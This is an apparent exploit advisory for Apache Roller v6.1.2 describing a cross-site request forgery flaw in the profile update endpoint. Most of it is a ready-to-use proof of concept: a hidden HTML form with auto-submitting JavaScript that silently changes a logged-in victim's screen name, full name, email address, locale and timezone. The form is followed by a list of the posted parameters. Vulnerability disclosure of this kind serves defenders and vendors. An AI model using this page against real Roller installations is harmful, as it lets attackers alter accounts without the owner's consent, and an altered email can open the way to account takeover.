# Exploit Title: Apache Roller v6.1.2 - Cross-Site Request Forgery (CSRF) in Profile Update
# Version: v6.1.2
# Date: 2025-11-09
# Exploit Author: Van Lam Nguyen
# Facebook: https://www.facebook.com/vanlam1412
# Vendor Homepage: https://roller.apache.org
# Software Link: https://github.com/apache/roller/archive/refs/tags/roller-6.1.2.zip
# Tested on: Windows
# CVE: N/A
# POC: https://github.com/vanlam2001/roller-csrf
Overview
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Roller v6.1.2 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /roller/roller-ui/profile!save.rol.
This vulnerability allows attackers to arbitrarily update the victim user's profile information (e.g., email, full name, locale, timezone) via a crafted HTML page
Proof of Concept
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Made an unauthorized request to /roller/roller-ui/profile!save.rol that updates the user's profile without CSRF protection
<html>
</head>
<form id="exploitForm" action="http://localhost:8080/roller/roller-ui/profile!save.rol" method="POST">
<input name="bean.userName" value="vanlam" type="hidden">
<input name="bean.screenName" value="hacked" type="hidden">
<input name="bean.fullName" value="hacked" type="hidden">
<input name="bean.emailAddress" value="[email protected]" type="hidden">
<input name="bean.passwordText" value="" type="hidden">
<input name="bean.passwordConfirm" value="" type="hidden">
<input name="bean.locale" value="vi_VN" type="hidden">
<input name="bean.timeZone" value="Asia/Bangkok" type="hidden">
</form>
<script>
document.getElementById('exploitForm').submit();
</script>
</body>
</html>
bean.userName: vanlam
bean.screenName: hacked
bean.fullName: hacked
bean.emailAddress: [email protected]
bean.passwordText:
bean.passwordConfirm:
bean.locale: vi_VN
bean.timeZone: Asia/BangkokData
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